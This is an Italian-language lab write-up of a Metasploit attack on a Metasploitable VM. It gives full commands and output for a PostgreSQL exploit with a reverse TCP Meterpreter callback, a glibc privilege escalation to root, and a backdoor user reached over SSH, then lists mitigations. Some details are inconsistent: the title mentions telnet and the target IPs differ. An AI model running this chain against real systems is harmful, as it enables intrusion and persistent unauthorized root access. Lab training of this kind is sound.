

Exploit telnet con Metasploit

Introduzione

Il documento riporta un attacco contro una macchina target **Metasploitable** per testarne le vulnerabilità. Il processo si articola in tre fasi:

- Ottenimento di un accesso sfruttando il database **PostgreSQL**
- **Escalation di privilegi** per acquisire comandi di utente **root**
- **Creazione Backdoor** nel sistema target

Quest'ultima permette di accedere al sistema anche dopo il riavvio della macchina target o la chiusura della sessione.

Obiettivo

L'obiettivo è ottenere una sessione **Meterpreter** sul sistema target, eseguire un'escalation di privilegi, creare una backdoor

Strumenti

- **Metasploitable**: macchina target
- **Metasploit**: piattaforma di attacco

Fase 1 esecuzione modulo meterpreter

```
(kal㉿kal)-[~]
$ msfconsole
Metasploit tip: To save all commands executed since start up to a file, use the
makerc command

[*] Starting persistent handler(s)...
msf > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(linux/postgres/postgres_payl) > |
```

*Fig.1 Accesso Metasploit e Ricerca modulo

```
msf exploit(linux/postgres/postgres_payl) > set LHOST 192.168.1.134
LHOST => 192.168.1.134
msf exploit(linux/postgres/postgres_payl) > set RHOST 192.168.1.149
RHOST => 192.168.1.149
```

*Fig.2 Configurazione modulo

```
msf exploit(linux/postgres/postgres_payl) > run
[*] Started reverse TCP handler on 192.168.1.134:4444
[*] 192.168.1.149:5432 - 192.168.1.149:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3
(Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.1.149:5432 - Uploaded as /tmp/uLTbUtRV.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.1.149
[*] Meterpreter session 1 opened (192.168.1.134:4444 -> 192.168.1.149:56335) at 2026-01-21 10:47:23 -0500

meterpreter > getuid
Server username: postgres
meterpreter > |
```

*Fig.3 Esecuzione e verifica exploit

Per creare una sessione meterpreter con la macchina target, è stato utilizzato il modulo **exploit/linux/postgres/postgres_payload** e configurato con:

- **RHOST:** IP Metasploitable (192.168.1.149)
- **LHOST:** IP Kali (192.168.1.134)

Lanciato l'exploit, Metasploit ha avviato una sessione meterpreter con la Metasploitable ottenendo l'accesso come utente **postgres**.

Questa sessione viene inoltre messa in **background** per i prossimi step.

Fase 2 Escalation privilegi

```
= [ metasploit v6.4.103-dev ]  
+ --=[ 2,584 exploits - 1,319 auxiliary - 1,697 payl  
+ --=[ 434 post - 49 encoders - 14 nops - 9 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
The Metasploit Framework is a Rapid7 Open Source Project  
  
[*] Starting persistent handler(s)...  
msf > use post/multi/recon/local_exploit_suggester |
```

*Fig.4 Ricerca modulo

```
msf post(multi/recon/local_exploit_sugg) > set SESSION1  
SESSION => 1  
msf post(multi/recon/local_exploit_sugg) > run |
```

*Fig.5 Configurazione modulo

```
[*] 192.168.1.149 - Valid modules for session 1:  
=====
```

#	Name	Potentially Vulnerable?
1	exploit/linux/local/glibc_ld_audit_dso_load_priv_esc	Yes The target appears to be vulnerable.
2	exploit/linux/local/glibc_origin_expansion_priv_esc	Yes The target appears to be vulnerable.
3	exploit/linux/local/netfilter_priv_esc_ipv4	Yes The target appears to be vulnerable.
4	exploit/linux/local/ptrace_sudo_token_priv_esc	Yes The service is running, but could not be validated.
5	exploit/linux/local/su_login	Yes The target appears to be vulnerable.
6	exploit/linux/persistence/autostart	Yes The service is running, but could not be validated. Xorg is installed, possible desktop insta
7	exploit/multi/persistence/cron	Yes The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
8	exploit/unix/local/setuid_nmap	Yes The target is vulnerable. /usr/bin/nmap is setuid

*Fig.6 Risultato modulo

```
msf exploit(unix/local/glibc_ld_audit_dso_load_pr) > set SESSION1  
SESSION => 1  
msf exploit(unix/local/glibc_ld_audit_dso_load_pr) > set PAYLOAD linux/x86/meterpreter/reverse_tcp  
PAYLOAD => linux/x86/meterpreter/reverse_tcp  
msf exploit(unix/local/glibc_ld_audit_dso_load_pr) > |
```

*Fig.7 Configurazione modulo scelto

```
meterpreter > getuid  
Server username: root
```

*Fig.8 Lancio e verifica exploit

```
meterpreter > mkdir testescalation  
Creating directory: testescalation  
meterpreter > ls  
Listing:/  
=====  
Mode      Size  Type Last modified     Name  
----  -----  ---  -----  ----  
040755/rwxr-xr-x 4096  dir  2012-05-13 23:35:33 -0400 bin  
040755/rwxr-xr-x 1024  dir  2012-05-13 23:36:28 -0400 boot  
040755/rwxr-xr-x 4096  dir  2010-03-16 18:55:51 -0400 cdrom  
040755/rwxr-xr-x 13480  dir  2026-01-21 09:48:51 -0500 dev  
040755/rwxr-xr-x 4096  dir  2026-01-21 09:48:55 -0500 etc  
040755/rwxr-xr-x 4096  dir  2010-04-16 02:16:02 -0400 home  
040755/rwxr-xr-x 4096  dir  2010-03-16 18:57:40 -0400 initrd  
100644/rw-r--r-- 7929183 fil  2012-05-13 23:35:56 -0400 initrd.img  
040755/rwxr-xr-x 4096  dir  2012-05-13 23:35:22 -0400 lib  
040700/rwx----- 16384  dir  2010-03-16 18:55:15 -0400 lost+found  
040755/rwxr-xr-x 4096  dir  2010-03-16 18:55:52 -0400 media  
040755/rwxr-xr-x 4096  dir  2010-04-28 16:16:56 -0400 mnt  
100600/rw----- 18799 fil  2026-01-21 09:49:16 -0500 nohup.out  
040755/rwxr-xr-x 4096  dir  2010-03-16 18:57:39 -0400 opt  
040555/r-xr-xr-x 0    dir  2026-01-21 09:48:43 -0500 proc  
040755/rwxr-xr-x 4096  dir  2026-01-21 09:49:16 -0500 root  
040755/rwxr-xr-x 4096  dir  2012-05-13 21:54:53 -0400 sbin  
040755/rwxr-xr-x 4096  dir  2010-03-16 18:57:38 -0400 srv  
040755/rwxr-xr-x 0    dir  2026-01-21 09:48:43 -0500 sys  
040700/rwx----- 4096  dir  2026-01-19 10:07:52 -0500 test_metasploit  
040755/rwxr-xr-x 4096  dir  2026-01-21 11:39:24 -0500 testescalation  
041777/rwxrwxrwx 4096  dir  2026-01-21 11:33:33 -0500 tmp  
040755/rwxr-xr-x 4096  dir  2010-04-28 00:06:37 -0400 usr  
040755/rwxr-xr-x 4096  dir  2010-03-17 10:08:23 -0400 var  
100644/rw-r--r-- 1987288 fil  2008-04-10 12:55:41 -0400 vmlinuz
```

*Fig.9 Creazione lista in (/)

Dato che l'utente postgres ha privilegi limitatisi procede con **l'escalation di permessi** fino ad arrivare all'utente **root**.

Si cerca il modulo **post/multi/recon/local_exploit_suggester** che analizza il sistema compromesso per individuare e suggerire gli exploit specifici in base alla sessione creata.

La sua configurazione comprende:

- **SESSION:** ID sessione meterpreter attiva (1)

Come risultato darà una lista di tutti gli exploit locali che permetteranno di ottenere privilegi root.

Il modulo scelto è **exploit/linux/local/glibc_ld_audit_dso_load_priv_esc** e la sua configurazione è:

- **SESSION: 1**
- **PAYOUTL:** linux/x86/meterpreter/reverse_tcp

Il payload durante la configurazione è stato modificato per corrispondere **all'architettura** della macchina target (**x64 ----> x86**) e per evitare errori durante l'esecuzione del comando.

Viene aperta una nuova sessione ottenendo l'accesso come utente **root** e come verifica, si è proseguito con la creazione di una cartella **testescalation** all'interno della directory (/)

Fase 3 Accesso backdoor

```
useradd -m -s /bin/bash backup_service  
passwd backup_service
```

*Fig.10 Creazione utente

```
Enter new UNIX password: backup_service  
Retype new UNIX password: backup_service  
passwd: password updated successfully
```

*Fig.11 Creazione password

```
(kali㉿ kali) [~]  
$ ssh backup_service@192.168.50.101  
Unable to negotiate with 192.168.50.101 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss  
(kali㉿ kali) [~]  
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa backup_service@192.168.50.101  
The authenticity of host '192.168.50.101 (192.168.50.101)' can't be established.  
RSA key fingerprint is: SHA256:BQHm5EoHX9GCIOLuVscegPXLQOsuPs+E9d/rJB84rk  
This host key is known by the following other names/addresses:  
~/ssh/known_hosts:8: [hashed name]  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '192.168.50.101' (RSA) to the list of known hosts.  
** WARNING: connection is not using a post-quantum key exchange algorithm.  
** This session may be vulnerable to "store now, decrypt later" attacks.  
** The server may need to be upgraded. See https://openssh.com/pq.html  
backup_service@192.168.50.101: ~$  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  
  
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*copyright.  
  
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
  
To access official Ubuntu documentation, please visit:  
http://help.ubuntu.com/  
root@metasploitable:~# whoami  
root  
root@metasploitable:~#
```

*Fig.12 Verifica backdoor

Come backdoor è stato scelto di creare un utente chiamato **backup_service** all'interno della Metasploitable dandogli i permessi root.

Per effettuare la connessione da terminale, la kali è stata forzata ad accettare algoritmi di cifratura obsoleti per permettere di comunicare con sistemi datati.

Come risultato finale si ha un accesso al sistema con comandi root per il controllo totale della macchina target.

Conclusione

L'analisi ha dimostrato come la presenza di versione di servizi obsoleti, come **PostgreSQL 8.3.1**, rappresenti un punto di ingresso critico che può portare alla completa compromissione del sistema.

Attraverso la lista di moduli locali, è stato permesso il passaggio da un utente limitato al controllo totale del server come **root**.

Inoltre, la creazione della backdoor ha permesso all'utente di entrare nuovamente nel sistema con l'utente avente permessi root.

Per mitigare questi attacchi:

- Aggiornare regolarmente i servizi all'ultima versione stabile per correggere le vulnerabilità note sfruttate dai moduli.
- Limitare l'accesso alla porta **5432** tramite **firewall**, consentendo connessioni solo da indirizzi IP autorizzati.
- Implementare **il principio del minimo privilegio** per garantire ulteriore sicurezza del sistema